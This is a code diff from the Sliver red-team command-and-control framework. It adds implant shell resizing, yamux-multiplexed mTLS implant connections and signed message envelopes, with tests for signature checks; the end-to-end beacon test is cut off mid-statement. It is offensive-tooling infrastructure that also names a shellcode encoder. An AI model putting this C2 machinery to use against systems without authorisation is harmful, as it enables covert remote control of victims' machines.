231, // 355: rpcpb.SliverRPC.WGListSocksServers:output_type -> sliverpb.WGSocksServers
232, // 356: rpcpb.SliverRPC.Shell:output_type -> sliverpb.Shell
0, // 357: rpcpb.SliverRPC.ShellResize:output_type -> commonpb.Empty
233, // 358: rpcpb.SliverRPC.Portfwd:output_type -> sliverpb.Portfwd
128, // 359: rpcpb.SliverRPC.CreateSocks:output_type -> sliverpb.Socks
0, // 360: rpcpb.SliverRPC.CloseSocks:output_type -> commonpb.Empty
129, // 361: rpcpb.SliverRPC.SocksProxy:output_type -> sliverpb.SocksData
130, // 362: rpcpb.SliverRPC.CreateTunnel:output_type -> sliverpb.Tunnel
0, // 363: rpcpb.SliverRPC.CloseTunnel:output_type -> commonpb.Empty
131, // 364: rpcpb.SliverRPC.TunnelData:output_type -> sliverpb.TunnelData
30, // 365: rpcpb.SliverRPC.Events:output_type -> clientpb.Event
183, // [183:366] is the sub-list for method output_type
0, // [0:183] is the sub-list for method input_type
0, // [0:0] is the sub-list for extension type_name
0, // [0:0] is the sub-list for extension extendee
0, // [0:0] is the sub-list for field type_name
+1
View File
@@ -275,6 +275,7 @@ service SliverRPC {
// *** Realtime Commands ***
rpc Shell(sliverpb.ShellReq) returns (sliverpb.Shell);
rpc ShellResize(sliverpb.ShellResizeReq) returns (commonpb.Empty);
rpc Portfwd(sliverpb.PortfwdReq) returns (sliverpb.Portfwd);
// *** Socks5 ***
+36
View File
@@ -222,6 +222,7 @@ type SliverRPCClient interface {
WGListSocksServers(ctx context.Context, in *sliverpb.WGSocksServersReq, opts ...grpc.CallOption) (*sliverpb.WGSocksServers, error)
// *** Realtime Commands ***
Shell(ctx context.Context, in *sliverpb.ShellReq, opts ...grpc.CallOption) (*sliverpb.Shell, error)
ShellResize(ctx context.Context, in *sliverpb.ShellResizeReq, opts ...grpc.CallOption) (*commonpb.Empty, error)
Portfwd(ctx context.Context, in *sliverpb.PortfwdReq, opts ...grpc.CallOption) (*sliverpb.Portfwd, error)
// *** Socks5 ***
CreateSocks(ctx context.Context, in *sliverpb.Socks, opts ...grpc.CallOption) (*sliverpb.Socks, error)
@@ -1880,6 +1881,15 @@ func (c *sliverRPCClient) Shell(ctx context.Context, in *sliverpb.ShellReq, opts
return out, nil
}
func (c *sliverRPCClient) ShellResize(ctx context.Context, in *sliverpb.ShellResizeReq, opts ...grpc.CallOption) (*commonpb.Empty, error) {
out := new(commonpb.Empty)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ShellResize", in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sliverRPCClient) Portfwd(ctx context.Context, in *sliverpb.PortfwdReq, opts ...grpc.CallOption) (*sliverpb.Portfwd, error) {
out := new(sliverpb.Portfwd)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Portfwd", in, out, opts...)
@@ -2224,6 +2234,7 @@ type SliverRPCServer interface {
WGListSocksServers(context.Context, *sliverpb.WGSocksServersReq) (*sliverpb.WGSocksServers, error)
// *** Realtime Commands ***
Shell(context.Context, *sliverpb.ShellReq) (*sliverpb.Shell, error)
ShellResize(context.Context, *sliverpb.ShellResizeReq) (*commonpb.Empty, error)
Portfwd(context.Context, *sliverpb.PortfwdReq) (*sliverpb.Portfwd, error)
// *** Socks5 ***
CreateSocks(context.Context, *sliverpb.Socks) (*sliverpb.Socks, error)
@@ -2764,6 +2775,9 @@ func (UnimplementedSliverRPCServer) WGListSocksServers(context.Context, *sliverp
func (UnimplementedSliverRPCServer) Shell(context.Context, *sliverpb.ShellReq) (*sliverpb.Shell, error) {
return nil, status.Errorf(codes.Unimplemented, "method Shell not implemented")
}
func (UnimplementedSliverRPCServer) ShellResize(context.Context, *sliverpb.ShellResizeReq) (*commonpb.Empty, error) {
return nil, status.Errorf(codes.Unimplemented, "method ShellResize not implemented")
}
func (UnimplementedSliverRPCServer) Portfwd(context.Context, *sliverpb.PortfwdReq) (*sliverpb.Portfwd, error) {
return nil, status.Errorf(codes.Unimplemented, "method Portfwd not implemented")
}
@@ -5947,6 +5961,24 @@ func _SliverRPC_Shell_Handler(srv interface{}, ctx context.Context, dec func(int
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_ShellResize_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.ShellResizeReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SliverRPCServer).ShellResize(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/rpcpb.SliverRPC/ShellResize",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).ShellResize(ctx, req.(*sliverpb.ShellResizeReq))
}
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_Portfwd_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.PortfwdReq)
if err := dec(in); err != nil {
@@ -6801,6 +6833,10 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
MethodName: "Shell",
Handler: _SliverRPC_Shell_Handler,
},
{
MethodName: "ShellResize",
Handler: _SliverRPC_ShellResize_Handler,
},
{
MethodName: "Portfwd",
Handler: _SliverRPC_Portfwd_Handler,
+5
View File
@@ -352,6 +352,9 @@ const (
// MsgMountReq - Request filesystem mounts
MsgMountReq
// MsgShellResizeReq - Resize a shell PTY
MsgShellResizeReq
)
// Constants to replace enums
@@ -413,6 +416,8 @@ func MsgNumber(request proto.Message) uint32 {
return MsgShellReq
case *Shell:
return MsgShell
case *ShellResizeReq:
return MsgShellResizeReq
case *ProcessDumpReq:
return MsgProcessDumpReq
case *ProcessDump:
File diff suppressed because it is too large. Load diff
+11 -1
View File
@@ -825,6 +825,8 @@ message ShellReq {
string Path = 1;
bool EnablePTY = 2;
uint32 Pid = 3;
uint32 Rows = 4;
uint32 Cols = 5;
uint64 TunnelID = 8 [jstype = JS_STRING]; // Bind to this tunnel
commonpb.Request Request = 9;
@@ -840,6 +842,14 @@ message Shell {
commonpb.Response Response = 9;
}
message ShellResizeReq {
uint32 Rows = 1;
uint32 Cols = 2;
uint64 TunnelID = 8 [jstype = JS_STRING];
commonpb.Request Request = 9;
}
message PortfwdReq {
uint32 Port = 1;
@@ -1356,4 +1366,4 @@ message StartServiceByNameReq {
ServiceInfoReq ServiceInfo = 1;
commonpb.Request Request = 9;
}
}
+1 -1
View File
@@ -31,7 +31,7 @@ Server daemon responsible for managing operators, implants, and infrastructure.
- `msf/` – Metasploit integration utilities. Implements payload translation and RPC bridging with Metasploit.
- `netstack/` – gVisor-based userland network stack for server transports. Provides packet buffers, endpoint management, and adapters.
- `rpc/` – RPC server implementations and wiring. Boots gRPC servers, registers services, and manages middleware.
- `sgn/` – SGN (Sliver Guard Node) coordination and helpers. Implements SGN enrollment, messaging, and policy logic.
- `encoders/shellcode/sgn/` – SGN (Shikata Ga Nai) shellcode encoder helpers and configuration wiring.
- `transport/` – Server-side transports and listener orchestration. Coordinates C2 listener lifecycles and connection routing.
- `watchtower/` – Watchtower monitoring and background jobs. Runs scheduled tasks, telemetry collection, and alerting hooks.
- `website/` – Static website assets and server-side handling. Serves operator web artifacts and supporting handlers.
+1 -1
View File
@@ -120,7 +120,7 @@ func Setup(force bool, echo bool) {
setupLog.Infof("Version mismatch %v != %v", localVer, ver.GitCommit)
if echo {
fmt.Printf(`
Sliver Copyright (C) 2025 Bishop Fox
Sliver Copyright (C) 2026 Bishop Fox
This program comes with ABSOLUTELY NO WARRANTY; for details type 'licenses'.
This is free software, and you are welcome to redistribute it
under certain conditions; type 'licenses' for details.`)
+9 -10
View File
@@ -36,13 +36,13 @@ var (
)
func TestMain(m *testing.M) {
implantConfig := setup()
implantBuild := setup()
code1 := m.Run()
cleanup(implantConfig)
cleanup(implantBuild)
os.Exit(code1)
}
func setup() *models.ImplantConfig {
func setup() *models.ImplantBuild {
var err error
certs.SetupCAs()
serverAgeKeyPair = cryptography.AgeServerKeyPair()
@@ -60,6 +60,7 @@ func setup() *models.ImplantConfig {
publicKeyDigest := hex.EncodeToString(digest.Sum(nil))
implantBuild := &models.ImplantBuild{
Name: "test-" + publicKeyDigest,
PeerPublicKey: peerAgeKeyPair.Public,
PeerPublicKeyDigest: publicKeyDigest,
PeerPrivateKey: peerAgeKeyPair.Private,
@@ -70,13 +71,11 @@ func setup() *models.ImplantConfig {
if err != nil {
panic(err)
}
return implantBuild
}
implantConfig := &models.ImplantConfig{
ImplantBuilds: []models.ImplantBuild{*implantBuild},
func cleanup(implantBuild *models.ImplantBuild) {
if implantBuild != nil {
db.Session().Delete(implantBuild)
}
return implantConfig
}
func cleanup(implantConfig *models.ImplantConfig) {
db.Session().Delete(implantConfig)
}
+224 -39
View File
@@ -19,7 +19,10 @@ package c2
*/
import (
"bufio"
"bytes"
"crypto/ed25519"
"crypto/sha256"
"crypto/tls"
"crypto/x509"
"encoding/binary"
@@ -27,13 +30,20 @@ import (
"fmt"
"io"
"net"
"sync"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/certs"
"github.com/bishopfox/sliver/server/core"
serverCrypto "github.com/bishopfox/sliver/server/cryptography"
"github.com/bishopfox/sliver/server/db"
"github.com/bishopfox/sliver/server/db/models"
serverHandlers "github.com/bishopfox/sliver/server/handlers"
"github.com/bishopfox/sliver/server/log"
"github.com/bishopfox/sliver/util/minisign"
"github.com/hashicorp/yamux"
"golang.org/x/crypto/blake2b"
"google.golang.org/protobuf/proto"
)
@@ -43,12 +53,57 @@ const (
// ServerMaxMessageSize - Server-side max GRPC message size
ServerMaxMessageSize = (2 * 1024 * 1024 * 1024) - 1
mtlsYamuxPreface = "MUX/1"
mtlsYamuxMaxConcurrentStreams = 128
mtlsYamuxMaxConcurrentSends = 64
)
var (
mtlsLog = log.NamedLogger("c2", consts.MtlsStr)
mtlsYamuxPrefaceBytes = []byte(mtlsYamuxPreface)
mtlsImplantSigKeyCache sync.Map // map[uint64]ed25519.PublicKey
)
const mtlsEnvelopeSigningSeedPrefix = "env-signing-v1:"
func deriveImplantSigningKey(peerPrivateKey string) (uint64, ed25519.PublicKey, error) {
if peerPrivateKey == "" {
return 0, nil, errors.New("[mtls] missing peer private key")
}
seed := sha256.Sum256([]byte(mtlsEnvelopeSigningSeedPrefix + peerPrivateKey))
priv := ed25519.NewKeyFromSeed(seed[:])
pub := priv.Public().(ed25519.PublicKey)
digest := blake2b.Sum256(pub)
keyID := binary.LittleEndian.Uint64(digest[:8])
return keyID, pub, nil
}
func lookupImplantSigKey(keyID uint64) (ed25519.PublicKey, bool, error) {
if cached, ok := mtlsImplantSigKeyCache.Load(keyID); ok {
return cached.(ed25519.PublicKey), true, nil
}
builds := []*models.ImplantBuild{}
if err := db.Session().Where(&models.ImplantBuild{}).Find(&builds).Error; err != nil {
return nil, false, err
}
for _, build := range builds {
buildKeyID, pub, err := deriveImplantSigningKey(build.PeerPrivateKey)
if err != nil {
continue
}
if buildKeyID == keyID {
mtlsImplantSigKeyCache.Store(keyID, pub)
return pub, false, nil
}
}
return nil, false, errors.New("[mtls] unknown implant signature key")
}
// StartMutualTLSListener - Start a mutual TLS listener
func StartMutualTLSListener(bindIface string, port uint16) (net.Listener, error) {
mtlsLog.Infof("Starting raw TCP/mTLS listener on %s:%d", bindIface, port)
@@ -94,51 +149,144 @@ func handleSliverConnection(conn net.Conn) {
implantConn.Cleanup()
}()
done := make(chan bool)
br := bufio.NewReader(conn)
bufferedConn := &mtlsBufferedConn{Conn: conn, r: br}
preface, err := br.Peek(len(mtlsYamuxPrefaceBytes))
if err == nil && bytes.Equal(preface, mtlsYamuxPrefaceBytes) {
if _, err := br.Discard(len(mtlsYamuxPrefaceBytes)); err != nil {
mtlsLog.Errorf("Failed to discard yamux preface: %v", err)
return
}
handleSliverConnectionYamux(bufferedConn, implantConn)
return
}
mtlsLog.Warnf("Rejecting legacy mtls connection (missing yamux preface) from %s", conn.RemoteAddr())
}
type mtlsBufferedConn struct {
net.Conn
r *bufio.Reader
}
func (c *mtlsBufferedConn) Read(p []byte) (int, error) {
return c.r.Read(p)
}
func handleSliverConnectionYamux(conn net.Conn, implantConn *core.ImplantConnection) {
session, err := yamux.Server(conn, nil)
if err != nil {
mtlsLog.Errorf("Failed to initialize yamux session: %v", err)
return
}
defer session.Close()
done := make(chan struct{})
var doneOnce sync.Once
closeDone := func() {
doneOnce.Do(func() {
close(done)
session.Close()
})
}
streamSem := make(chan struct{}, mtlsYamuxMaxConcurrentStreams)
sendSem := make(chan struct{}, mtlsYamuxMaxConcurrentSends)
handlers := serverHandlers.GetHandlers()
go func() {
defer func() {
done <- true
}()
handlers := serverHandlers.GetHandlers()
defer closeDone()
for {
envelope, err := socketReadEnvelope(conn)
stream, err := session.Accept()
if err != nil {
mtlsLog.Errorf("Socket read error %v", err)
if !errors.Is(err, io.EOF) {
mtlsLog.Errorf("yamux accept error: %v", err)
}
return
}
implantConn.UpdateLastMessage()
if envelope.ID != 0 {
implantConn.RespMutex.RLock()
if resp, ok := implantConn.Resp[envelope.ID]; ok {
resp <- envelope // Could deadlock, maybe want to investigate better solutions
}
implantConn.RespMutex.RUnlock()
} else if handler, ok := handlers[envelope.Type]; ok {
mtlsLog.Debugf("Received new mtls message type %d, data: %s", envelope.Type, envelope.Data)
go func() {
respEnvelope := handler(implantConn, envelope.Data)
if respEnvelope != nil {
implantConn.Send <- respEnvelope
}
select {
case streamSem <- struct{}{}:
case <-done:
stream.Close()
return
}
go func(stream net.Conn) {
defer func() {
<-streamSem
}()
defer stream.Close()
envelope, err := socketReadEnvelope(stream)
if err != nil {
mtlsLog.Errorf("Stream read error %v", err)
closeDone()
return
}
implantConn.UpdateLastMessage()
if envelope.ID != 0 {
implantConn.RespMutex.RLock()
resp, ok := implantConn.Resp[envelope.ID]
implantConn.RespMutex.RUnlock()
if ok {
resp <- envelope
}
return
}
if handler, ok := handlers[envelope.Type]; ok {
mtlsLog.Debugf("Received new mtls message type %d, data: %s", envelope.Type, envelope.Data)
go func(envelope *sliverpb.Envelope) {
respEnvelope := handler(implantConn, envelope.Data)
if respEnvelope != nil {
implantConn.Send <- respEnvelope
}
}(envelope)
}
}(stream)
}
}()
go func() {
defer closeDone()
for {
select {
case envelope := <-implantConn.Send:
select {
case sendSem <- struct{}{}:
case <-done:
return
}
go func(envelope *sliverpb.Envelope) {
defer func() {
<-sendSem
}()
stream, err := session.Open()
if err != nil {
mtlsLog.Errorf("yamux open stream error: %v", err)
closeDone()
return
}
defer stream.Close()
if err := socketWriteEnvelope(stream, envelope); err != nil {
mtlsLog.Errorf("Stream write failed %v", err)
closeDone()
return
}
}(envelope)
case <-done:
return
}
}
}()
Loop:
for {
select {
case envelope := <-implantConn.Send:
err := socketWriteEnvelope(conn, envelope)
if err != nil {
mtlsLog.Errorf("Socket write failed %v", err)
break Loop
}
case <-done:
break Loop
}
}
mtlsLog.Debugf("Closing implant connection %s", implantConn.ID)
<-done
}
// socketWriteEnvelope - Writes a message to the TLS socket using length prefix framing
@@ -150,19 +298,41 @@ func socketWriteEnvelope(connection net.Conn, envelope *sliverpb.Envelope) error
mtlsLog.Errorf("Envelope marshaling error: %v", err)
return err
}
// Prepend a fixed-length raw minisign signature (binary) so the implant can
// verify messages independent of the mTLS layer.
rawSig := minisign.SignRawBuf(*serverCrypto.MinisignServerPrivateKey(), data)
if _, err := connection.Write(rawSig[:]); err != nil {
return err
}
dataLengthBuf := new(bytes.Buffer)
binary.Write(dataLengthBuf, binary.LittleEndian, uint32(len(data)))
connection.Write(dataLengthBuf.Bytes())
connection.Write(data)
if err := binary.Write(dataLengthBuf, binary.LittleEndian, uint32(len(data))); err != nil {
mtlsLog.Errorf("Envelope marshaling error: %v", err)
return err
}
if _, err := connection.Write(dataLengthBuf.Bytes()); err != nil {
return err
}
if _, err := connection.Write(data); err != nil {
return err
}
return nil
}
// socketReadEnvelope - Reads a message from the TLS connection using length prefix framing
// returns messageType, message, and error
func socketReadEnvelope(connection net.Conn) (*sliverpb.Envelope, error) {
rawSigBuf := make([]byte, minisign.RawSigSize)
// Read the first four bytes to determine data length
dataLengthBuf := make([]byte, 4) // Size of uint32
n, err := io.ReadFull(connection, dataLengthBuf)
n, err := io.ReadFull(connection, rawSigBuf)
if err != nil || n != len(rawSigBuf) {
mtlsLog.Errorf("Socket error (read raw signature): %v", err)
return nil, err
}
n, err = io.ReadFull(connection, dataLengthBuf)
if err != nil || n != 4 {
mtlsLog.Errorf("Socket error (read msg-length): %v", err)
return nil, err
@@ -184,6 +354,21 @@ func socketReadEnvelope(connection net.Conn) (*sliverpb.Envelope, error) {
return nil, err
}
algorithm := binary.LittleEndian.Uint16(rawSigBuf[:2])
if algorithm != minisign.EdDSA {
return nil, errors.New("[mtls] unsupported signature algorithm")
}
keyID := binary.LittleEndian.Uint64(rawSigBuf[2:10])
pubKey, _, err := lookupImplantSigKey(keyID)
if err != nil {
return nil, err
}
signature := rawSigBuf[10:]
if !ed25519.Verify(pubKey, dataBuf, signature) {
return nil, errors.New("[mtls] invalid signature")
}
// Unmarshal the protobuf envelope
envelope := &sliverpb.Envelope{}
err = proto.Unmarshal(dataBuf, envelope)
+366
View File
@@ -0,0 +1,366 @@
package c2
import (
"bytes"
"crypto/ed25519"
"crypto/rand"
"crypto/sha256"
"encoding/binary"
"errors"
"io"
"net"
"strings"
"testing"
implantMTLS "github.com/bishopfox/sliver/implant/sliver/transports/mtls"
"github.com/bishopfox/sliver/protobuf/sliverpb"
serverCrypto "github.com/bishopfox/sliver/server/cryptography"
"github.com/bishopfox/sliver/util/minisign"
"golang.org/x/crypto/blake2b"
"google.golang.org/protobuf/proto"
)
func clearMTLSImplantSigKeyCache(t *testing.T) {
t.Helper()
mtlsImplantSigKeyCache.Range(func(key, _ any) bool {
mtlsImplantSigKeyCache.Delete(key)
return true
})
}
func newImplantSignedEnvelopeFrame(t *testing.T, peerPrivateKey string, envelope *sliverpb.Envelope) ([]byte, uint64, ed25519.PublicKey) {
t.Helper()
data, err := proto.Marshal(envelope)
if err != nil {
t.Fatalf("marshal envelope: %v", err)
}
seed := sha256.Sum256([]byte(mtlsEnvelopeSigningSeedPrefix + peerPrivateKey))
priv := ed25519.NewKeyFromSeed(seed[:])
pub := priv.Public().(ed25519.PublicKey)
digest := blake2b.Sum256(pub)
keyID := binary.LittleEndian.Uint64(digest[:8])
rawSigBuf := make([]byte, minisign.RawSigSize)
binary.LittleEndian.PutUint16(rawSigBuf[:2], minisign.EdDSA)
binary.LittleEndian.PutUint64(rawSigBuf[2:10], keyID)
copy(rawSigBuf[10:], ed25519.Sign(priv, data))
frame := make([]byte, 0, minisign.RawSigSize+4+len(data))
frame = append(frame, rawSigBuf...)
dataLengthBuf := make([]byte, 4)
binary.LittleEndian.PutUint32(dataLengthBuf, uint32(len(data)))
frame = append(frame, dataLengthBuf...)
frame = append(frame, data...)
return frame, keyID, pub
}
func newServerSignedEnvelopeFrame(t *testing.T, envelope *sliverpb.Envelope) []byte {
t.Helper()
data, err := proto.Marshal(envelope)
if err != nil {
t.Fatalf("marshal envelope: %v", err)
}
rawSig := minisign.SignRawBuf(*serverCrypto.MinisignServerPrivateKey(), data)
frame := make([]byte, 0, minisign.RawSigSize+4+len(data))
frame = append(frame, rawSig[:]...)
dataLengthBuf := make([]byte, 4)
binary.LittleEndian.PutUint32(dataLengthBuf, uint32(len(data)))
frame = append(frame, dataLengthBuf...)
frame = append(frame, data...)
return frame
}
func TestMTLSSocketReadEnvelopeRejectsUnsupportedAlgorithm(t *testing.T) {
clearMTLSImplantSigKeyCache(t)
frame, keyID, pub := newImplantSignedEnvelopeFrame(t, "peer-private-key-test", &sliverpb.Envelope{
Type: sliverpb.MsgPing,
Data: []byte("hello"),
})
mtlsImplantSigKeyCache.Store(keyID, pub)
// Flip to HashEdDSA (or any non-EdDSA value), should be rejected.
binary.LittleEndian.PutUint16(frame[:2], minisign.HashEdDSA)
srv, cli := net.Pipe()
defer srv.Close()
defer cli.Close()
errCh := make(chan error, 1)
go func() {
_, err := socketReadEnvelope(srv)
errCh <- err
}()
go func() {
_, _ = cli.Write(frame)
_ = cli.Close()
}()
err := <-errCh
if err == nil || !strings.Contains(err.Error(), "unsupported signature algorithm") {
t.Fatalf("expected unsupported signature algorithm error, got=%v", err)
}
}
func TestMTLSSocketReadEnvelopeAcceptsValidSignature(t *testing.T) {
clearMTLSImplantSigKeyCache(t)
want := &sliverpb.Envelope{
Type: sliverpb.MsgPing,
Data: []byte("hello"),
}
frame, keyID, pub := newImplantSignedEnvelopeFrame(t, "peer-private-key-test", want)
mtlsImplantSigKeyCache.Store(keyID, pub)
srv, cli := net.Pipe()
defer srv.Close()
defer cli.Close()
go func() {
_, _ = cli.Write(frame)
_ = cli.Close()
}()
got, err := socketReadEnvelope(srv)
if err != nil {
t.Fatalf("expected valid signature, got err=%v", err)
}
if got.Type != want.Type || !bytes.Equal(got.Data, want.Data) {
t.Fatalf("unexpected envelope: got=%+v want=%+v", got, want)
}
}
func TestMTLSSocketReadEnvelopeRejectsInvalidSignature(t *testing.T) {
clearMTLSImplantSigKeyCache(t)
frame, keyID, pub := newImplantSignedEnvelopeFrame(t, "peer-private-key-test", &sliverpb.Envelope{
Type: sliverpb.MsgPing,
Data: []byte("hello"),
})
mtlsImplantSigKeyCache.Store(keyID, pub)
// Corrupt a signature byte.
frame[10] ^= 0xff
srv, cli := net.Pipe()
defer srv.Close()
defer cli.Close()
errCh := make(chan error, 1)
go func() {
_, err := socketReadEnvelope(srv)
errCh <- err
}()
go func() {
_, _ = cli.Write(frame)
_ = cli.Close()
}()
err := <-errCh
if err == nil || !strings.Contains(err.Error(), "invalid signature") {
t.Fatalf("expected invalid signature error, got=%v", err)
}
}
func TestMTLSSocketReadEnvelopeRejectsTamperedMessage(t *testing.T) {
clearMTLSImplantSigKeyCache(t)
frame, keyID, pub := newImplantSignedEnvelopeFrame(t, "peer-private-key-test", &sliverpb.Envelope{
Type: sliverpb.MsgPing,
Data: []byte("hello"),
})
mtlsImplantSigKeyCache.Store(keyID, pub)
// Flip a byte in the protobuf payload after signing.
dataOffset := minisign.RawSigSize + 4
frame[dataOffset] ^= 0x01
srv, cli := net.Pipe()
defer srv.Close()
defer cli.Close()
errCh := make(chan error, 1)
go func() {
_, err := socketReadEnvelope(srv)
errCh <- err
}()
go func() {
_, _ = cli.Write(frame)
_ = cli.Close()
}()
err := <-errCh
if err == nil || !strings.Contains(err.Error(), "invalid signature") {
t.Fatalf("expected invalid signature error, got=%v", err)
}
}
func TestMTLSSocketReadEnvelopeRejectsWrongKeyID(t *testing.T) {
clearMTLSImplantSigKeyCache(t)
frame, keyID, _ := newImplantSignedEnvelopeFrame(t, "peer-private-key-test", &sliverpb.Envelope{
Type: sliverpb.MsgPing,
Data: []byte("hello"),
})
// Swap the key ID to a different cached public key (signature won't match).
wrongPub, _, err := ed25519.GenerateKey(rand.Reader)
if err != nil {
t.Fatalf("generate ed25519 key: %v", err)
}
wrongKeyID := keyID + 1
mtlsImplantSigKeyCache.Store(wrongKeyID, wrongPub)
binary.LittleEndian.PutUint64(frame[2:10], wrongKeyID)
srv, cli := net.Pipe()
defer srv.Close()
defer cli.Close()
errCh := make(chan error, 1)
go func() {
_, err := socketReadEnvelope(srv)
errCh <- err
}()
go func() {
_, _ = cli.Write(frame)
_ = cli.Close()
}()
err = <-errCh
if err == nil || !strings.Contains(err.Error(), "invalid signature") {
t.Fatalf("expected invalid signature error, got=%v", err)
}
}
func TestMTLSSocketReadEnvelopeRejectsTruncatedSignature(t *testing.T) {
clearMTLSImplantSigKeyCache(t)
frame, _, _ := newImplantSignedEnvelopeFrame(t, "peer-private-key-test", &sliverpb.Envelope{
Type: sliverpb.MsgPing,
Data: []byte("hello"),
})
srv, cli := net.Pipe()
defer srv.Close()
defer cli.Close()
errCh := make(chan error, 1)
go func() {
_, err := socketReadEnvelope(srv)
errCh <- err
}()
go func() {
_, _ = cli.Write(frame[:minisign.RawSigSize-1])
_ = cli.Close()
}()
err := <-errCh
if err == nil {
t.Fatalf("expected error for truncated signature, got nil")
}
if !errors.Is(err, io.EOF) && !errors.Is(err, io.ErrUnexpectedEOF) {
t.Fatalf("expected EOF for truncated signature, got=%v", err)
}
}
func TestMTLSImplantReadEnvelopeRejectsInvalidServerSignature(t *testing.T) {
frame := newServerSignedEnvelopeFrame(t, &sliverpb.Envelope{
Type: sliverpb.MsgPing,
Data: []byte("hello"),
})
// Corrupt a signature byte.
frame[10] ^= 0xff
_, err := implantMTLS.ReadEnvelope(bytes.NewReader(frame))
if err == nil || !strings.Contains(err.Error(), "invalid signature") {
t.Fatalf("expected invalid signature error, got=%v", err)
}
}
func TestMTLSImplantReadEnvelopeAcceptsValidServerSignature(t *testing.T) {
want := &sliverpb.Envelope{
Type: sliverpb.MsgPing,
Data: []byte("hello"),
}
frame := newServerSignedEnvelopeFrame(t, want)
got, err := implantMTLS.ReadEnvelope(bytes.NewReader(frame))
if err != nil {
t.Fatalf("expected valid signature, got err=%v", err)
}
if got.Type != want.Type || !bytes.Equal(got.Data, want.Data) {
t.Fatalf("unexpected envelope: got=%+v want=%+v", got, want)
}
}
func TestMTLSImplantReadEnvelopeRejectsWrongServerKeyID(t *testing.T) {
frame := newServerSignedEnvelopeFrame(t, &sliverpb.Envelope{
Type: sliverpb.MsgPing,
Data: []byte("hello"),
})
// Flip key ID bytes.
frame[2] ^= 0xff
_, err := implantMTLS.ReadEnvelope(bytes.NewReader(frame))
if err == nil || !strings.Contains(err.Error(), "invalid signature") {
t.Fatalf("expected invalid signature error, got=%v", err)
}
}
func TestMTLSImplantReadEnvelopeRejectsAlgorithmDowngradeTrick(t *testing.T) {
frame := newServerSignedEnvelopeFrame(t, &sliverpb.Envelope{
Type: sliverpb.MsgPing,
Data: []byte("hello"),
})
// Change algorithm to HashEdDSA without changing the signature; verification must fail.
binary.LittleEndian.PutUint16(frame[:2], minisign.HashEdDSA)
_, err := implantMTLS.ReadEnvelope(bytes.NewReader(frame))
if err == nil || !strings.Contains(err.Error(), "invalid signature") {
t.Fatalf("expected invalid signature error, got=%v", err)
}
}
func TestMTLSImplantReadEnvelopeRejectsTamperedServerMessage(t *testing.T) {
frame := newServerSignedEnvelopeFrame(t, &sliverpb.Envelope{
Type: sliverpb.MsgPing,
Data: []byte("hello"),
})
// Flip a byte in the protobuf payload after signing.
dataOffset := minisign.RawSigSize + 4
frame[dataOffset] ^= 0x01
_, err := implantMTLS.ReadEnvelope(bytes.NewReader(frame))
if err == nil || !strings.Contains(err.Error(), "invalid signature") {
t.Fatalf("expected invalid signature error, got=%v", err)
}
}
func TestMTLSImplantReadEnvelopeRejectsTruncatedServerSignature(t *testing.T) {
frame := newServerSignedEnvelopeFrame(t, &sliverpb.Envelope{
Type: sliverpb.MsgPing,
Data: []byte("hello"),
})
_, err := implantMTLS.ReadEnvelope(bytes.NewReader(frame[:minisign.RawSigSize-1]))
if err == nil {
t.Fatalf("expected error for truncated signature, got nil")
}
if !errors.Is(err, io.EOF) && !errors.Is(err, io.ErrUnexpectedEOF) {
t.Fatalf("expected EOF for truncated signature, got=%v", err)
}
}
@@ -0,0 +1,12 @@
//go:build server && go_sqlite && sliver_e2e
package c2
import "net"
// HandleSliverConnectionForTest exposes the raw connection handler to external
// (package `c2_test`) end-to-end tests without shipping test-only symbols in
// production builds.
func HandleSliverConnectionForTest(conn net.Conn) {
handleSliverConnection(conn)
}
+537
View File
@@ -0,0 +1,537 @@
//go:build server && go_sqlite && sliver_e2e
package c2_test
import (
"context"
"fmt"
"net"
"os"
"path/filepath"
"runtime"
"sync"
"testing"
"time"
implantHandlers "github.com/bishopfox/sliver/implant/sliver/handlers"
implantMTLS "github.com/bishopfox/sliver/implant/sliver/transports/mtls"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/c2"
"github.com/bishopfox/sliver/server/db/models"
"github.com/bishopfox/sliver/server/transport"
"github.com/google/uuid"
"github.com/hashicorp/yamux"
"google.golang.org/protobuf/proto"
)
func TestMTLSYamux_Beacon_EndToEndAsyncPingRPC(t *testing.T) {
// NOTE: If you run this test in a restricted environment where writes to
// `~/.sliver` are blocked, set `SLIVER_ROOT_DIR` to a writable temp dir.
grpcServer, grpcListener, err := transport.LocalListener()
if err != nil {
t.Fatalf("start local grpc listener: %v", err)
}
t.Cleanup(func() {
grpcServer.Stop()
_ = grpcListener.Close()
})
serverConn, implantConn := net.Pipe()
t.Cleanup(func() {
_ = serverConn.Close()
_ = implantConn.Close()
})
go c2.HandleSliverConnectionForTest(serverConn)
beaconID := uuid.NewString()
beacon := startTestBeacon(t, implantConn, beaconID)
t.Cleanup(beacon.Stop)
rpcConn, err := dialBufConn(context.Background(), grpcListener)
if err != nil {
t.Fatalf("dial grpc/bufconn: %v", err)
}
t.Cleanup(func() { _ = rpcConn.Close() })
rpcClient := rpcpb.NewSliverRPCClient(rpcConn)
waitForBeaconRegistration(t, rpcClient, beaconID, 10*time.Second)
const tasksCount = 8
type taskInfo struct {
id string
nonce int32
}
taskInfos := make([]taskInfo, 0, tasksCount)
for i := 0; i < tasksCount; i++ {
callCtx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
nonce := int32(1000 + i)
resp, err := rpcClient.Ping(callCtx, &sliverpb.Ping{
Nonce: nonce,
Request: &commonpb.Request{
Async: true,
BeaconID: beaconID,
